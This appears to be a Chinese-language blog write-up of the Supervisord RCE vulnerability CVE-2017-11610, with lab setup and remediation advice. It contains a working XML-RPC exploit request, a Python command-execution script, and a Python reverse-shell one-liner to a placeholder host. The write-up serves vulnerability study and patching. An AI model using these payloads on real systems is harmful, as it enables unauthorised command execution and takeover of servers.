Supervisord 遠程命令執行漏洞(CVE-2017-11610)

Supervisord 遠程命令執行漏洞(CVE-2017-11610)

一、漏洞介紹

Supervisord是一款用Python語言開發的管理後臺應用(服務)的工具,方便運維人員使用圖形化界面進行管理。

Supervisord曾曝出了一個需認證的遠程命令執行漏洞(CVE-2017-11610)。通過POST請求向Supervisord管理界面提交惡意數據,可以獲取服務器操作權限,帶來嚴重的安全風險。

利用條件:
Supervisor版本在受影響範圍內
Supervisor 9001管理端口可以被外網訪問
Supervisor未配置密碼或使用弱密碼

漏洞影響範圍:
Supervisor version 3.1.2
Supervisor version 3.3.2

二、漏洞危害

利用該漏洞遠程POST請求,向Supervisord管理界面提交惡意數據,可以獲取服務器操作權限。

三、漏洞驗證

環境搭建:

實驗環境 系統 IP地址
攻擊機 win10 192.168.18.7
靶機 win10 192.168.18.7:9001

這裏我使用Vulhub搭建環境:
docker-compose build
docker-compose up -d
環境啓動後,訪問http://your-ip:9001即可查看Supervisord的頁面。
在這裏插入圖片描述

PoC1(無回顯):

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

直接發送數據包執行任意命令:
在這裏插入圖片描述
成功創建success文件:
在這裏插入圖片描述

PoC2:

@Ricter 在微博上提出的一個思路,甚是有效,就是將命令執行的結果寫入log文件中,再調用Supervisord自帶的readLog方法讀取log文件,將結果讀出來。

#!/usr/bin/env python3
import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

使用Python3執行並獲取結果:python poc.py "http://your-ip:9001/RPC2" "command"
在這裏插入圖片描述

注:直接複製瀏覽器中的URL會帶上“/”,這樣會導致報錯!
在這裏插入圖片描述

反彈shell:

利用bash反彈shell失敗,原因未知。想到Supervisord是一款用Python語言開發的管理後臺應用(服務)的工具,試試python反彈:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

在這裏插入圖片描述

注:反彈成功後會導致web服務崩潰,exit後服務恢復。

四、漏洞修復

參照以下步驟來修復該漏洞:

  1. 如果不需要使用該服務軟件,建議您關停卸載該軟件,同時檢查服務器上是否存在不正常的進程或異常賬號,確保服務器運行正常。
  2. 如需使用該服務軟件,建議卸載後,重新安裝並升級到官方最新3.3.3版本,重新安裝前建議創建快照或備份數據。
  3. 由於該漏洞利用Supervisor開放的9001管理端口發起遠程攻擊,阿里雲用戶可以使用ECS安全組策略屏蔽公網入、內網入方向的9001端口。
  4. 爲Supervisor配置RPC登錄認證強密碼。建議您使用8位字符以上的密碼,且包含大小寫字母、數字、特殊字符等。

參考鏈接:
https://paper.seebug.org/367/
https://www.ichunqiu.com/course/58899
https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章